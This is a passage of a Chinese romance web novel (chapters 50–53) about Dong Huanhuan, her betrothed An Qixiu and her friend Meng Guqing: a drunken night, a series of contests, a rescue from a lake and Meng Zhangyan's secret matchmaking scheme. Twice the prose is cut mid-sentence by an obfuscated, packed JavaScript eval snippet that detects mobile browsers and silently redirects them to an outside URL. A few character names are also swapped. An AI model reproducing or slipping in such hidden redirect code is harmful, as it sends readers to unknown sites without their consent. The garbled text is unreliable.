“你别信她的,我的人,只有我说不要的份,其他人包括她本人谁说都不算数。” 董浣浣点头,拿起酒杯又喝了一口酒,点评道:“霸气,我以后就跟你混了!” 孟古青闻言非常豪迈的拍了拍董浣浣的肩头:“好,以后你就跟我混了!” 50. 醉酒 “说好了,只要你不和我抢安齐修,我以后都跟着你混了!” 马车上,董浣浣醉醺醺的嚷嚷着。 坐在她对面的孟古青也没比她好多少,“啪,啪,啪”的拍着胸脯回复道:“你放心跟我混吧,我是绝对看不上你家的那个文弱的小白脸的!” 董浣浣皱着眉头不满的挥着手道:“他才不是小白脸呢,安齐修才不是小白脸呢,他智勇双全,是我心中最帅,最有能力的男人!” 孟古青听见她这么说,“腾”的一下站起身来,还没说话,头就撞到了马车上,“噔”的一声,她又被弹回到原来的地方了。 坐在位子上的孟古青摸着头皱着脸看向董浣浣,埋怨道:“都怪你!” 董浣浣看到她这样,嘿嘿一笑道:“你活该,谁让你说他坏话来着。” 孟古青闻言就要上前扯董浣浣的辫子:“你再说一次!” 董浣浣赶忙护住辫子:“你让我说,我我偏不说,略略略……” 孟古青看到她这个样子,怎么能忍,两人即将扭打到一起,大战一触即发之计,紫鸢和娜布其及时制止了她们。 本来吃过晚饭,就是各回各家的事,结果喝醉了的两个主子,一个非要送,一个非要让她送,结果就成了现在这个样子了。 紫鸢很头疼,这两个主子醉酒后的样子,真的还没有三岁的孩子懂事,而且回到家万一被那位知道了,没有小姐护着的她,下场一定会很惨。 好不容易安抚好董浣浣的情绪,紫鸢无奈的看向坐在对面的娜布其发现她也正以同样的的眼神看着她。 没过多久两个幼稚鬼又一言不合差点打起来。 紫鸢和娜布其又慌忙去阻止,如此反复多次。 好不容易到了家,紫鸢长长的舒了口气,总算可以清静了。 安齐修房内。 单良急慌慌的前来禀报:“主子,浣主子回来了。” 安齐修看到单良的样子,一下子紧张了起来,边走边问道:“出了什么事,你慌成这样?” 单良赶忙回复道:“浣主子今天和孟古青格格一起喝酒了,现在在家门口,醉酒失态,拽着孟古青格格家的马车不愿意下来。” 安齐修一听,怒道:“是谁让她喝酒的!紫鸢呢,小柒呢,不是都跟着她吗,怎么都不拦着!” 单良边疾走追上安齐修的步伐,边解释道:“小柒今天在家没有陪同浣主子一起去,紫鸢倒是劝了,浣主子不听她的。” 安齐修听他这么说,挺住脚步,瞪了他一眼,什么也没说,又接着往外走。 单良被他瞪得一激灵,才惊觉自己说错话了,赶忙闭嘴,跟上安齐修的步伐。 两人走到门口,首先迎过来的是孟古青。 孟古青伸手想要去摸安齐修的脸,嘴里念叨着:“这不是董浣浣的小白脸嘛”,却被安齐修挥手挡开了。 此刻已经闹累了董浣浣,抓着马车的门帘,靠着紫鸢睡着了。 紫鸢尝试了好几次都没办法把她从马车上抱下来,无奈的求助了单良和卫苑,两人均表示这事逾矩,他们做不来,只能通知安齐修。 看着安齐修铁青着脸走来的模样,紫鸢就知道自己的下场一定会很惨。 小姐啊,小姐,我都劝过你不要喝酒的,你为什么就不能为我想想,非要去喝呢。 安齐修看到马车上扶着董浣浣的紫鸢道:“把她给我,你去偏厅等我。”,便抱着不省人事的董浣浣往院子里走。 紫鸢看了一眼昏睡过去的董浣浣,心想,看吧,你喝醉了,最惨的人是我,为什么就不能为我想想,然后恭敬的冲着安齐修的背影应道:“是。” 安齐修走到门槛处停住,余光看到旁边的两个女人,冲着众人道:“送客!”,然后转头看了一眼站在张牙舞抓的孟古青旁边正扶着她准备往回走的娜布其道:“明天等你家主子醒来,告诉你家主子,以后再也不要来找董浣浣,我们家不欢迎她!” 娜布其听到安齐修这样说,被他的脸色和语气吓到了,整个脸都白了,连连点头:“好,等我家小姐醒来,我一定会转达到的。” 娜布其的话音刚落,躺在安齐修怀里的董浣浣像是想到了什么似的,突然睁开眼。 在看清安齐修的脸之后,嘿嘿的笑了一下,指了指不远处正要离开的的孟古青,又指了指安齐修的脸,然后一脸严肃的说道:“看吧,我男人超级帅的吧”,说完两只手扒拉着安齐修的肩膀,勉强的坐起身来,然后伸手掐了掐安齐修的胳膊,语气骄傲的看向孟古青接着说道:“他还很有力气,胳膊上都是肌肉,才不像你说的那样是个文弱的小白脸!” 抱着她的安齐修对于她突如其来的发酒疯实在是有点头疼,但又不敢乱动,怕一个不小心在摔着她。 本来已经走到马车跟前的孟古青,听到她这样说,哪里能忍得了,立马折回头,冲着董浣浣嚷嚷道:“什么肌肉啊,让我摸摸,他刚刚真是小气,脸都不让我摸一下,我不摸,我怎么知道好不好。” 孟古青两三步走上前,上手就要去摸安齐修的脸,被安齐修一个措身给躲开了。 孟古青不死心,伸手还要上前。眼看着安齐修的脸色渐渐黑了下来,紫鸢和娜布其慌忙去拉着孟古青,阻止她的非礼行为。 董浣浣躺在安齐修的怀里,看到孟古青这样,慌忙的去护住安齐修的脸,义正言辞道:“不给摸,他的脸,除了我,谁都不给摸。” 被护住脸的安齐修,脸上有些不耐,但心里却有些欢喜。 一路走来,她终于进步了,有了一点护食的模样了。 单良和卫苑看到这种情形,也急忙的加入进来帮忙,一阵慌乱过后,孟古青终于被送上了马车,离开了。 等到马车走远了,董浣浣的手才舍得从安齐修的脸上拿下来。顺便还拍了拍安齐修的头,一脸傲娇的冲着马车离开的地方说:“都是我的,才不给你摸。” 安齐修把她的手从自己的头上拿开,有些无奈的轻声低哄道:“你乖,别乱动,我送你回房睡觉。” 董浣浣难得听话的,乖乖点头道:“嗯,我乖。那你可不可以不怪罪紫鸢,酒是我自己 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安齐修停住脚步,看向怀里的董浣浣“恐吓”道:“你再不老实,我绝对会训斥她!” 董浣浣一听,赶忙停住腿,闭上嘴,手箍紧了安齐修的脖子,在他怀里轻轻的说了一句:“你真好。” 安齐修听见了,嘴角微微的上扬了一个弧度。 到了董浣浣的房间,安齐修把她放在床上,吩咐了紫鸢和小柒好好给她梳洗,之后离开。 又是一阵兵荒马乱之后,整个院子才恢复了清静。 次日。 董浣浣艰难的从床上爬起来,只觉得头疼欲裂,口干舌燥的。 都是醉酒惹得祸,她以后再也不贪杯了。 使劲的甩了甩头,让自己的眼睛清醒一点,环顾了一下四周,确认是在自己的房间。 董浣浣下床到了杯水,边喝边想,昨天应该是孟古青把她送回来的吧,也不知道她有没有安全到家,吃过早饭应该去她府上去确认一下,顺便表达一下感谢。 昨天她们回来应该挺晚了,也不知道遇到了安齐修没,过会问问紫鸢,万一见到了她好提前想好该怎么解释。 董浣浣正想着,紫鸢就推开门风风火火的向她走来,喘着粗气对董浣浣说道:“小姐,赶紧跟我走,安少爷和孟古青小姐要打起来了!” 董浣浣一听,一口水直接喷了出来:“你说谁,安少爷,哪个安少爷?” 紫鸢拿起手帕,囫囵的给董浣浣擦了一下嘴,把她手里的茶杯放到桌子上,拉起董浣浣的手,就往外走,边走边解释道:“就是安齐修少爷。”像是害怕董浣浣听不懂似的,紫鸢又解释道:“安齐修少爷和孟古青小姐就快要打起来了!” 我的妈呀!? 董浣浣简直不敢相信她的耳朵,要说是安齐平她还能勉强能相信一下,安齐修怎么可能? 可是看紫鸢的模样也不像是逗她,董浣浣赶忙披上外套,甚至来不及梳洗,蓬头垢面的就跟着紫鸢,去劝架了。 51. 针锋相对 董浣浣不明白,这两个人怎么会打起来了呢? 在去膳厅的路上,董浣浣从紫鸢那里简单的了解了一下昨天晚上发生的事情之后,真想找块豆腐把自己撞死。 这喝醉酒也太能霍霍了吧,怎么你就这么能呢,现在惹出事来了吧。 只不过这几天相处下来,她知道孟古青不是那种为了一点鸡毛蒜皮的小事斤斤计较的人,而且她家安齐修也是个有大智慧的人,两个人都是有容人之量,怎么可能因为昨天醉酒的那点小事就贸贸然的打起来呢。 一定是因为别的什么事情,或者话赶话,正好赶到了那个份上。 总之无论如何她还是赶紧去阻止一下比较好。 都说民不与官斗,这梁子要是结下了,恐怕他们都出不了科尔沁,就会被人给杀了。 归根结底这事都怪她,要是她不去招惹孟古青,要是她不喝酒就不会有这事了。 还好她和孟古青这几天相处的还不错,虽说没到可以在她面前说一不二的程度,但是说话也算是有些分量的。 本来身边已经有了一个无时无刻都想把他置于死地的叔叔,安齐修现在的处境已经够艰难了,如果在这里再和孟古青结下梁子,那以后的日子更是雪上加霜,寝食难安。 她绝对不能允许这样的事情发生。 安齐修你可得稳住,千万别一时意气用事,等着我去救你啊。 董浣浣在心里焦急的想,然后加紧脚步往膳厅走去。 膳厅内。 安齐修坐在桌前悠闲的喝着茶,孟古青则坐在他的对面,一脸怒气的看着他。 急匆匆赶来的董浣浣走近膳厅就看到了这幅景象。 一个时辰前。 孟古青在娜布其口中得知了她昨天在这里的所作所为,觉得实在是不妥,特地上门来道歉的,结果没想到一到未名谷就碰了一鼻子的灰。 她诚心诚意来道歉,这个做作的男人不领情也就算了,居然还闭门不见,直接让下人在门口把她给打发了。 好,这事她忍了,谁让她醉酒调戏人家在先呢,反正以后也不会有什么来往,不见就不见吧。 可是他凭什么代表董浣浣来和她说绝交! 想她科尔沁最尊贵的格格,什么时候受过这样的气,要绝交也是她们两个人的事情,他凭什么在中间横插一杠子,真是士可忍孰不可忍。 孟古青不管三七二十一,直接闯了进来。 惹得一群下人拦着也不是,不拦也不是,畏畏缩缩的跟在她的身后劝她离开。 开什么玩笑,她堂堂一个格格是那么容易打发的嘛。 在挨个找了众多的房间之后,她终于在饭堂找到了安齐修。 她是一个急性子的人,向来说话直来直往,看见安齐修之后,直接指着安齐修的鼻子质问道:“我诚心诚意的上门和你道歉,你却把我拒之门外,这也就罢了,毕竟是我有错在先,可是你凭什么代表董浣浣和我绝交!” 已经坐在餐桌前的安齐修,听到她这样问,不紧不慢的漱完口,又用手巾擦完手才道:“凭你调戏了她的男人。” 孟古青:“……” 他这话,让她一时间竟然无法反驳。 待她反应过后才高高的昂起头,装腔作势的说了一句:“我这不是亲自上门给你赔礼道歉来了吗?” 笑话,她什么时候心虚过,即使是心虚也觉不能在他这样的男人面前表现出来。 安齐修闻言,微微扯动了一下唇角,露出了一个轻蔑的笑容,然后道:“第一,从孟小姐进来到现在,我并没有看到孟小姐有一丝一毫表达歉意的举动。第二,孟古青小姐,你道歉是你做错事情之后,应该做的补偿,做不做是你的事,愿意不愿意接受是我的事。第三,董浣浣和你做朋友已经严重的影响到了她的正常生活,很可能会把她置于危险之中,身为她的男人,我坚决不能允许这样的事情存在。” 被他这样说,孟古青很是不服气,“啪”的一声把皮鞭放在了桌上,然后一屁股坐在了安齐修的对面,冲着安齐修嚷道:“你倒是和我好好说说,我怎么就影响到了董浣浣的生活,把她置于危险当中了?” 安齐修看向她,语气冰冷的说道:“她不会喝酒,在紫鸢明明已经有透漏大夫不让她喝酒之后,你却不管不顾的引她喝酒,任由她伤害自己的身体,这是其一。其二,在她已经喝醉的情况下,你并未安排可靠的人员进行护送,而是由醉酒后毫无理智和武力的你来送她回家,简直是把她置于危险当中,毫无安全可言。” 安齐修说完,说完端起手边的茶杯,悠闲的喝了口茶。 孟古青真是被他这番话给气的不行,两只眼睛瞪着他,刚想要反驳,只听见“哗啦”一声,靠在门边的屏风被撞的晃了一下,董浣浣急匆匆的走了进来。 还好是及时赶上了,双方还没有打起来。 董浣浣一边喘着粗气一边在心里暗暗庆幸。 安齐修问声抬起头,看到董浣浣披头散发的模样,微微的皱了一下眉头,转头看向现在董浣浣后面的紫鸢说道:“紫鸢,扶着你家主子回房间梳洗更衣一下,怎么能在外人面前这样衣衫不整的。” 孟古青听到这话更是不高兴了,指着自己,用着难以置信的口气问道:“外人,你说我是外人?” 董浣浣看到此情此景赶忙上前,握住孟古青伸出来的那只手,打圆场道:“你误会了,安齐修说的是他们,”,随手指了一下屋里站着的其他人,然后又和安齐修使了一个眼色,让他克制一点。 安齐修很给她面子的禁下声来,唇角勾笑,端起了面前的茶杯。 董浣浣打点好了了一切之后,才面向孟古青说道:“你怎么可能是外人呢,你是我最好的朋友呀。” 孟古青把她一系列的小动作都看在了眼里,不过如果能气一下安齐修她还是很乐意假装什么也没看到的,谁让他今天一天都这么让她讨厌呢,十分傲娇的瞪了一眼安齐修,骄傲的说道:“怎么样,还有那个词,形容我和浣浣是怎么说来着?” “闺蜜”,董浣浣在一边小心翼翼的提醒她道。 “对,对,对,就是这个词”,说完站起身来,走到董浣浣旁边揽住董浣浣的脖子,一脸得意的揽住董浣浣的脖子,看向安齐修道:“我们是闺蜜,谁也别想拆散我们!” 听到她说这话,董浣浣的额头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16815876|190875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 顿时一排黑线。 在这样紧张的气氛下,她在这样火上浇油的帮孟古青刺激安齐修真的好吗? 要不说安齐修的道行深呢,在孟古青这样的挑衅下,安齐修愣是什么话也没接,只是看向紫鸢,重复了一下他刚才的话:“紫鸢,还不快去带你家主子去梳洗!” 得,完全把孟古青刚才一系列的表演当成了空气! 孟古青被他这种无视她的态度气的牙根痒痒。 她怎么以前没有发现这个人这么讨厌呢,完全具备气人人不偿命的本事。 他这种无视的态度,恰恰是她的死穴,是她最不能容忍的。 孟古青松开董浣浣的脖子,正欲发作,准备和安齐修好好理论理论。 董浣浣哪能容忍他们两个因为她再次发生口角,继而越演越烈,真到了动手的地步那就麻烦了。 看到孟古青这个样子,董浣浣赶紧笑嘻嘻的拉住她的手,对孟古青说道:“走,你和我一起去换衣服吧,顺便我有样东西要送给你。” 孟古青哪里不知道这是董浣浣的良苦用心,只是她现在在气头上,实在是听不住劝导。 她指着安齐修道:“她现在还没有嫁给你,一切都还来得及。” “这样”,孟古青低头想了一下。 然后道:“你敢不敢和我比试比试,谁输了谁从此以后禁止出现在董浣浣的生活中。” 比试?! 还拿她做赌注。 这怎么可以! 不管是比什么,安齐修赢了会被说成胜之不武,输了就要被说一个男人连女人都比不过,还要兑现承诺,无论输赢都占不到任何便宜。 何况如果安齐修以这个为借口趁机把不听话的她给甩了,那她才是最大的输家。 董浣浣被孟古青这样的提议吓着了,赶忙替安齐修推脱道:“不用了,动起手来容易伤了和气,何况我们还有两天就要回家了,没办法比了。” 董浣浣话音刚落,就被孟古青一把揽住了脖子,小声的在她耳边说道:“你怎么什么都不懂呢,这是测试你在他心目中的地位的最好的时候,我这是为你好!” 董浣浣刚想反驳,孟古青加深了一下箍住她脖子的胳膊的力道,“威胁”道:“你什么都不要说,交给我处理就好了!” 孟古青的话音刚落,本来还坐在一边的安齐修站起身来,手指轻抚了一下衣袖,对着董浣浣和孟古青的背影说道:“我答应你的挑战。” 孟古青回过头,看向安齐修,眼神中透露出一丝赞赏,说道:“好,像条汉子!” 怎么就奉陪了呢,这不是安齐修的性格啊。 董浣浣看向安齐修,心里突然没来由的有些恐慌。 像是猜到了她的不安,安齐修走上前来,轻轻的拍了拍她的肩膀解释道:“接到家中来信,说让我们在这里多逗留一个月,反正闲着也是闲着,就当是多陪陪你。”然后抬起手,指尖温柔的把董浣浣头上不听话翘起来的两根呆毛抚平:“乖,别多想,待会带你去个地方,去把衣服给换了吧。” 董浣浣闻言,点了点头,脸颊慢慢的染上了一丝绯红,小声的回复了一声:“哦。” 52. 落水 董浣浣万万没想到,居然有一天,一男一女会因为她而争风吃醋。 她何德何能能够让这两个人中龙凤,为了她而“大打出手。” 已经是秋天了,高处白云飘飘,脚下绿草如阴,风微微的吹在人的脸上,微微有些凉。 本来正是个踏青谈情的好时候,没想到她却沦落到要一个人无聊的在这里打发时间。 董浣浣忍不住叹了口气,这已经是她坐在这里第三次叹气了。 坐在她旁边玩九连环的小柒,听到她的叹气声,抬起头来,一脸迷茫的问:“小姐,你怎么了?” 无聊的董浣浣看到她那张疑惑的小脸蛋,突然玩性大发,想要逗逗她,装出一副十分失落的模样说道:“还能怎么了,你现在都不叫我姐姐了。” 小柒闻言抿了抿嘴,缓缓的低下了头,小声的回道:“紫鸢姐姐说,这不和规矩。” 董浣浣看到她这模样,接着逗她:“小柒,我想问一下你为什么那么听紫鸢的话?” 小柒闻言,缓缓的又抬起了头,看向董浣浣答道:“因为她说的话都对。” 董浣浣接着问:“那我说的话就不对吗?” 小柒答道:“小姐说的话自然都是对的。” 董浣浣“阴谋得逞”:“那你叫我一声姐姐吧。” 小柒闻言犹豫再三,又看了看远处从车里帮单良拿东西过来的紫鸢,火速的从嘴里蹦出来“姐姐”两个字,就算是交差了。 董浣浣成功的被她这幅做贼心虚的模样给逗得哈哈大笑。 笑过之后,董浣浣又开始无聊了。 已经十三天了,从射箭,打布鲁和沙塔拉开始,蒙古族所有的竞技项目几乎都被安齐修和孟古青比试了一遍了。 要她说,这孟古青也真是够光明磊落的,明明事先也没说好比试什么,她却很守规矩的天天和安齐修比试这些男子擅长的运动。 要是和安齐修比赛绣花,都不用那么多天的比试了,她第一天就赢了。 话说,孟古青会不会绣花啊? 董浣浣又想到了另一个难题。 历史书上介绍过吗? 蒙古族的格格到底会不会绣花? 她怎么一点也想不起来了呢。 算了,反正无论结果如何,她都不会和安齐修分开。 想这些还不如替孟古青想想以后该怎么帮她或者帮安齐修想一想该怎么帮他解决他那个麻烦的叔父。 只是这两个问题都很棘手,光凭她一个人是不可能解决的。 而面对那两个一心扑在比赛上的两人,她也不知道该如何开口与他们谈。 今天他们比试的是赛马,从起点到终点来回大概二十公里路还要越过高山和沼泽,安齐修说太危险了,就没有带她去,吩咐单良护送她回家。 回家,董浣浣自然是不肯的。 还好这里距离未名谷不是很远,来往很方便。 安齐修拿她没办法,只能吩咐单良在这里铺了张地毯,顺便准备些吃食,让她坐在这里等他们,并把单良留下来照看她。 单良把最后的一点吃食,从车上拿下来放在董浣浣的面前,然后向董浣浣询问道:“浣主子,你看看还缺什么,我再回去给您拿去。” 董浣浣摆摆手道:“足够了,足够了,什么也不缺,你别忙了,坐下来休息会。” 单良依言坐了下来。 时间一分一秒的过去了,吃也吃过了,喝也喝过了,睡也睡过了,董浣浣也越来越坐不住了。 望着远处的湖水,董浣浣灵机一闪对单良说道:“安齐平在干嘛呢,今天怎么没有出来和安齐修一起去骑马?” 单良恭谨的回答道:“回浣主子的话,齐平少爷说,‘这是齐修少爷和孟古青小姐之间的较量,他作为一个外人就不参加了’。我们出来的时候,他正在房里看书呢。” 董浣浣:“书什么时候都可以看,这大好时光怎么能够白白在房里虚度光阴呢,你去把他叫过来和我们一起吹吹风,晒晒太阳,感受一下这秋日风情。” 单良看了一眼旁边的湖水,有些为难:“可是……” 他的话还没有说完,就被董浣浣打断了,“没有可是,紫鸢你和单良一起去,顺便再多拿点水果过来。” 说完轻轻推了一下坐在她旁边的紫鸢。 紫鸢正欲起身,单良挥了挥手道:“不用了,不用了,我自己去就可以了,紫鸢留下来伺候您就好。” 董浣浣点头:“那好吧。” 待单良离开后。 紫鸢看着单良的背影,心里隐隐有些不安,试探的问道:“小姐你这是干什么?” 果然知她者莫若紫鸢啊! “嗨!”,董浣浣站起身来,伸了个懒腰,“太无聊了,我们去湖边玩会。我不把他支走,他是肯定不会让我去的。” 前两天她和安齐修路过湖边,看到湖水清澈见底,她想下来去湖里玩会,却被安齐修严词拒绝,说是湖水凉对她的身体不好,当时单良就在旁边,现在她想去玩不支走单良,他一定会告诉安齐修的,到时候安齐修肯定又会生气。 小姐支走单良,紫鸢就知道了她肯定是想做些什么,只是没想到她这么大胆,那湖看着不深,可是万一里面有淤泥陷下去后果不堪设想,更何况前一阵小姐刚刚晕倒过,这样贸贸然下水恐怕身体会吃不消。 于是赶忙阻止道:“小姐,最近天气凉,我们还是不要下水了。” 董浣浣摆出一副可怜状,用极其期盼的眼神看向紫鸢,保证道:“我保证,我就在湖边坐一下,绝对不往湖里去,你就让我去玩一下吧。” 在董浣浣千保证,万发誓下,紫鸢坳不过她,只能同意了。 董浣浣走到湖边坐下,卷起裤脚,两只脚伸进湖水里。 “嘶”! 到底是秋天了湖水确实有些凉。 董浣浣小心翼翼适应了之后,才把两只脚都放进了水里。 有一下没一下的拍打着水面,眼睛时不时的往安齐修的出发的地方看两眼。 心里不知道为什么总是有一 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孟章砚点了点头,随着紫鸢快步走到了湖边。 不慌不忙的冲着湖里的董浣浣和小柒说道:“水不深,没不过你们的头顶,不用扑腾了,都上来吧。” 此刻的董浣浣和小柒哪里能听进去他的话。 小柒在奋力的扑腾,董浣浣在努力的把扑腾的小柒拉出水面。 孟章砚无奈,只能跳进水里,一左一右的把董浣浣和小柒从水里拽了起来,盯着董浣浣的眼睛大声说道:“淹不死人的!” 心有余悸的董浣浣这才安定了下来。 两人一起被孟章砚拖到了岸上。 到了岸上的董浣浣,仔仔细细的检查了一下小柒的状况,在确定她安然无恙后,才放下心来,对站在一旁的孟章砚说道:“多谢孟公子相救!” 看到她这个模样,孟章砚微塄了一下回道:“不必客气。” 转头看向惊魂未定的紫鸢问道:“秋风萧瑟,她们长时间在水里浸泡很容易感染风寒,你们有带备用衣物,火石和木炭吗?” 紫鸢答道:“备用衣物倒是有带,火石和木炭,因为我家姑爷害怕生火会有危险,特意交代不让我们带出门。” 孟章砚闻言点了一下头:“这样,你先带你们小姐和这位小姑娘去车里换下衣服,我去我车里拿些火石和木炭过来生点火,给她们取取暖。” 在道了谢之后,三人便去马车上换衣服去了。 等到三人换完衣服回来的时候,安齐修的火已经生好了。 看到她们过来,孟章砚张罗着让几人围着火堆坐着烤火,并递给董浣浣和小柒一人一杯茶。 “这是我师傅研制的药茶,有散寒止呕,补血安神之效,和姜茶的功效相同,却不似姜茶那么辛辣,你们尝尝。” 董浣浣道了谢,接过茶喝了一口,甜甜的,确实比姜茶好喝多了。 直到这时董浣浣才感觉到心脏开始正常的跳动了。 53. 三人行 不愧是她的爱马,红猎在穿越它从来不曾穿越过的沼泽时,也丝毫不见胆怯。 孟古青骑在马背上心里还是忍不住对她的爱马夸赞一番。 只不过望着前面的那一人一马,距离还是太远了。 这个人实在是太出色了! 这些天原本高高在上,在大草原上几乎没有对手的她,渐渐的开始体会什么叫做棋逢对手什么叫做败北的感觉。 她原本是想借着比赛帮董浣浣考验考验这个人的品行,顺便杀杀他的气焰,奚落他一番给自己出出气,没想到却是自己一直在被打压着气势。 这眼看单程终点已到,那人还是稳稳的行驶在她目光所及的远处。 真是失败! 孟古青一只手勒紧缰绳,鞭子抽了一下马背,尝试加快马速去追上他。 眼看着距离越来越近,在距离安齐修五米左右就要追上他的时候,草丛中突然钻出了一只豪猪。 红猎被豪猪惊着了,扬起马蹄,把孟古青甩了出去、、、、、、 孟古青惊叫出声,还没来得及反应,就感觉被一个温暖的胸膛给稳稳的接住了。 此刻孟古青脑中只有一个想法:他,来救我了吗,为了救我而放弃他最看重的比赛? 抬头看清了来人的脸之后,一股失望感油然而生。 果然是她想多了。 孟古青黑着脸对着卫苑吩咐道:“放我下来。” 卫苑依言把她放下来,刚想张口询问一下她有没有事,只见她一言不发的扬腿上马,“啪”的一声打在马背上,冲着终点跑去。 卫苑无奈的摸了摸头,牵起旁边自己的马也追上前去。 终点。 安齐修站在风口遥望着面前连绵不绝的群山,心想着离开前也该带浣儿来欣赏一下这秀丽的风光。 不一会儿,耳边便传来勒绳下马的声音。 孟古青急冲冲的走到他面前,气冲冲的向他问道:“对你来说,比赛结果难道真的那么重要!” 安齐修神色严肃的回复道:“当然。” 孟古青听到他的回答,一时语塞,竟然不知道接下来该问些什么,转身扬起手来,冲着已经跟上来的卫苑,甩出去了一巴掌! “啪!”的一声,把卫苑直接打愣住了。 可是她心里的无名火还是压不住,遂又扬起手中的鞭子“刷”的一下冲着卫苑的脸甩过去,眼看着皮鞭就要在卫苑的脸上抽出一条血痕,却在中途被站在一旁的安齐修给抓住了。 安齐修抓住鞭子的另一端,冷着脸看向孟古青道:“孟小姐,可不可以给我解释一下,我的随从哪里得罪了你吗?” 孟古青哪里会想要和他解释,使劲往回抽了抽鞭子,想要再次冲着卫苑甩过去。 却死活也没办法从安齐修的手里抽出来,于是瞪大了双眼,冲着安齐修叫嚣道:“松开!” 安齐修冷着脸道:“孟姑娘你还没有回答安某的问题,恕我不能松开!” 孟古青闻言越发的恼了,又使劲的抽了抽鞭子,那鞭子还是纹丝不动的在安齐修的手中攥着。 从小到大她何曾受过这样的委屈,她能感觉到自己浑身都在颤抖,眼泪就要不争气的留下来。 但她怎么可以在人面前示弱! 强忍着不让自己哭出来,抬高了嗓门冲着安齐修吼道:“在这个草原就没有人敢对我这样!” 安齐修闻言冷笑道:“别说是草原,就是天下也都是讲理的地方,我不明白孟小姐为何要对我家随从如此无礼,他有何错,孟小姐尽可以说出来,我定会给孟小姐一个满意的结果。” 孟古青怒道:“为什么,你心里不明白吗?”,说完直接松开了皮鞭的这头,抽手冲着卫苑的脸又是一巴掌。 然后转身上马。 临走前回头看向安齐修问道:“为什么不是你?” 另一边。 董浣浣再一次的对孟章砚表示了感谢。 “真是太谢谢你了,你简直是罗汉下凡,救了我们两命了!你如果不嫌弃,以后我们就是朋友了,有用得到我的地方你招呼一声,我定全力以赴!” 孟章砚闻言笑着摇了摇头。 董浣浣疑惑:“怎么了吗,我有什么地方说错了?” 孟章砚抬手放在鼻前轻咳一声,然后敛去笑容,解释道:“没什么,只不过上次在山上你离开的那会,安公子也曾说过差不多的话。” 董浣浣点头:“这样啊。” 心里有些甜甜的,她和安齐修也真是心有灵犀。 孟章砚看着董浣浣的模样,笑了笑又道:“其实你也不必谢我,也许在不久的将来,你可能会很讨厌我,会觉得认识我是你人生中最大的错误。” 董浣浣不明白:“你为什么这么说?” 孟章砚没有解释,只是笑笑道:“人生不就是这样吗,祸兮福所倚福兮祸所伏,你以后就会明白了。” 董浣浣觉得孟章砚就像是个谜,总是话里有话让人捉摸不透。 “对了”,安齐修又说:“如果,我是说如果有一天孟古青做了什么惹你不开心的事情,你生了她的气了,能不能看在我这两次的施以援手的份上,原谅她。” “我们是好朋友,我怎么可能会生好朋友的气呢,你想多了。不过,我答应你,以后万一我要是生了她的气,我一定会看在你的面子上原谅她。” 孟章砚:“那就好,那我就放心了。” 说完站起身来,拍了拍身上的灰尘,对着董浣浣揖了揖手:“那我就不打扰了,告辞了。” 董浣浣回礼。 孟章砚便转身向马车走去。 走到他的马车跟前,孟章砚又转过头来,面色深沉的对董浣浣说道:“守护好自己的东西,别让别人给抢走了而不自知。” 说完便走上马车离开了。 孟章砚不明白孟章砚这句话到底是什么意思。 她最讨厌猜别人的话里有话了。 虽然她曾经和孟章砚接触过几次,但是这次他给人的感觉和前几次完全不一样。 他今天穿着一身白衣,是汉人的扮相。 有点大侠出尘,绝世而独立的味道。 以前的几次相处,总觉得他身上都是属于蒙古大户人家的贵气,这一次再见不知道为什么感觉他就像是换了一个人。 董浣浣甚至觉得这次见面的他才是他本来的面目,之前所见的他都只是他的马甲而已。 这个世道, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16815878|190875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 特别是生活在大户人家的子弟,会有很多的不得已,慢慢的改变了自己身上的味道,为家族牺牲,慢慢的变成了自己不想变成的那种棋子。 马车上。 孟章砚看着窗外的风景一言不发。 碧空如洗,草木碧绿,如果能让孟古青永远的生活在这广袤的大地上那该有多好。 可是不行啊,无论是宫里还是师父,所有的人都要推着她去那她最不想要去的地方。 孟古青最终还是和他一样成为利益牵连的棋子。 他一直都知道,可是他一直都不愿意承认。 他为自己抗争过,他为妹妹抗争过,可是都失败了。 这件事情不是安齐修能左右的,更不是他能左右的,就连皇太后都无法左右。 他的妹妹注定是要去过她最不想要过的生活了。 就如同他一样,无论如何挣扎,如何反抗都没有用。 从他们出生在这个家族的那一刻起就注定了,这辈子他们不可能仅仅为自己而活。 既然是注定的结局,最好的结果就是让孟古青爱上安齐修。 所以他用了最卑劣的手段去一步步的引导他们去互相认识互相了解。 却在一步步中计划中,无形的又伤害到了另一个女孩。 这个女孩又有什么错呢。 她只不过是被安齐修爱着的普通姑娘。 如果有一天她得知了安齐修的身份,误会了她最好的朋友从一开始就处心积虑的要抢走她的爱人。 她的心情又当如何,孟章砚不敢想象。 他是孟古青的哥哥,为了他的妹妹,他做了他这一生中所最不齿的事情。 从来都是光明磊落的他,突然有些厌弃自己。 孟章砚无奈摇了摇头。 他也不知道自己这样做是对还是错,只不过他的私心可能会毁了另一个女孩的善良和信仰。 人生在世已经有太多的迫不得已,他不想看到日后因为他的这个决定,让两个女孩反目成仇。如果可能,他希望在那高墙之内,这两个姑娘还能保有现在这样的友谊,相互扶持,永远是最好的朋友。 “为什么不告诉孟古青,安齐修的真实身份?”,雅图问道。 安齐修抬头看向对面坐着的妻子,说道:“我已经作弊帮她得到了和安齐修相处的机会,不能在卑鄙的帮她取得先机,这样对董浣浣太不公平了。” “既然你已经打定主意为孟古青和安齐修牵线,为什么还要告诫董浣浣让她注意呢,你这个人,永远让人捉摸不透。”,雅图又问。 